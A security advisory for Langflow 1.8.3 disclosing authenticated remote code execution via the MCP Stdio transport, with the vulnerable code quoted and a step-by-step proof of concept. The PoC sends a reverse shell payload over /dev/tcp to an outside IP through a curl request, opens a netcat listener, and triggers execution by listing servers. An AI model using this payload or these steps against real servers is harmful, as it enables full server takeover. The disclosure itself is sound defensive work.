Skip to content

Authenticated RCE via MCP Stdio transport allows any user to execute arbitrary OS commands on the server

Critical
Adam-Aghili published GHSA-7w94-79vh-5mr2 Sep 10, 2026

Package

pip langflow (pip)

Affected versions

1.8.3

Patched versions

1.9.0

Description

Summary

Any authenticated Langflow user can achieve Remote Code Execution (RCE) on the server by adding an MCP server with the "Stdio" transport. The user-supplied command field is passed directly to bash -c "exec {command}" with zero validation, no allowlisting, and no sandboxing. The command executes immediately when the server list is fetched. Additionally, the env field allows arbitrary environment variable injection (e.g., LD_PRELOAD, PATH override).

Details

1. API accepts arbitrary command POST /api/v2/mcp/servers/{server_name}

File: src/backend/base/langflow/api/v2/mcp.py, lines 324-342

The endpoint accepts an MCPServerConfig body from any authenticated user (not restricted to superusers):

File: src/backend/base/langflow/api/v2/schemas.py, lines 6-17

class MCPServerConfig(BaseModel):
    command: str | None = None       # Attacker-controlled OS command
    args: list[str] | None = None    # Attacker-controlled arguments
    env: dict[str, str] | None = None  # Attacker-controlled environment variables
    url: str | None = None
    headers: dict[str, str] | None = None

2. No command validation

File: src/lfx/src/lfx/base/mcp/util.py, lines 463-484

The only "validation" checks if Node.js is installed when npx is in the command string. There is no allowlist of permitted commands, no blocklist of dangerous commands, no path restriction, and no character filtering:

def _validate_node_installation(command: str) -> str:
    if "npx" in command and not shutil.which("node"):
        msg = "Node.js is not installed."
        raise ValueError(msg)
    return command

3. Direct shell execution via bash -c

File: src/lfx/src/lfx/base/mcp/util.py, lines 1057-1078

The user-supplied command string is embedded directly in a bash -c call:

async def _connect_to_server(self, command_str: str, env: dict[str, str] | None = None):
    env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}

    server_params = StdioServerParameters(
        command="bash",
        args=["-c", f"exec {command_str} || echo 'Command failed...'"],
        env=env_data,
    )

The StdioServerParameters are then passed to the MCP SDK which spawns the process via anyio.open_process().

4. Environment variable injection

The user-controlled env dict is merged directly into the subprocess environment (line 1062), allowing:

  • PATH override to control which binaries are resolved
  • LD_PRELOAD injection on Linux to load arbitrary shared libraries
  • Any environment variable that affects spawned processes

5. Passive execution trigger

File: src/backend/base/langflow/api/v2/mcp.py, line 198

The command executes automatically when the server list is fetched with action_count=true:

GET /api/v2/mcp/servers?action_count=true

This happens in the Langflow UI when navigating to the MCP settings page. The malicious command re-executes every time the list is loaded, without the user or admin actively running any flow.

PoC

Step 1 Login as a regular (non-admin) user

Register a regular user account and obtain a JWT token.

image image-1

Step 2 Add a malicious MCP server with an arbitrary OS command

Send a POST /api/v2/mcp/servers/rce_proof request with a command field containing a reverse shell payload. The server accepts and stores it without any validation.

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI4NjRkYzQ1Mi0zYTIyLTRkYjYtYTc1OC05NmNjODA3NTUzYTIiLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzc0NDc4Mjk0fQ.Wl-lHOuYLQF5516w9Cz6klmiyk2HTemzFdVE_QzcZFA"

curl -s -X POST http://localhost:7860/api/v2/mcp/servers/shell   -H "Authorization: Bearer $TOKEN"   -H "Content-Type: application/json"   -d '{
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/172.27.86.180/4444 0>&1"],
    "env": {}
  }'
image-2

In parallel on another terminal setup a listener with the following command:

nc -lnvp 4444
image-3

Step 3 Trigger execution by listing servers

Send a GET /api/v2/mcp/servers?action_count=true request. The server attempts to connect to the stdio MCP server, which causes bash -c "exec {command}" to run. The response is awaiting and the terminal hungs.

curl -s http://localhost:7860/api/v2/mcp/servers?action_count=true \
  -H "Authorization: Bearer $TOKEN" | jq
image-4

Step 4 Verify code execution

Check the terminal where you have setup the listener and notice that you have gotten a reverse shell

image-5

Impact

Any authenticated Langflow user (including non-admin accounts) can execute arbitrary OS commands on the server with the privileges of the Langflow process.

Specific impacts:

  • Full server compromise: arbitrary file read/write, command execution, reverse shell
  • Environment variable injection: LD_PRELOAD for shared library injection, PATH override for binary hijacking
  • Persistent backdoor: the malicious MCP server config persists and re-executes every time the server list is loaded (including by other users or admins navigating the MCP settings page)
  • Stealth: unlike custom component code which is visible in the flow editor, MCP server configs are stored in project settings and are not visible during normal flow review
  • Lateral movement: access to internal network, cloud metadata endpoints, database credentials stored in environment variables

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-105740

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits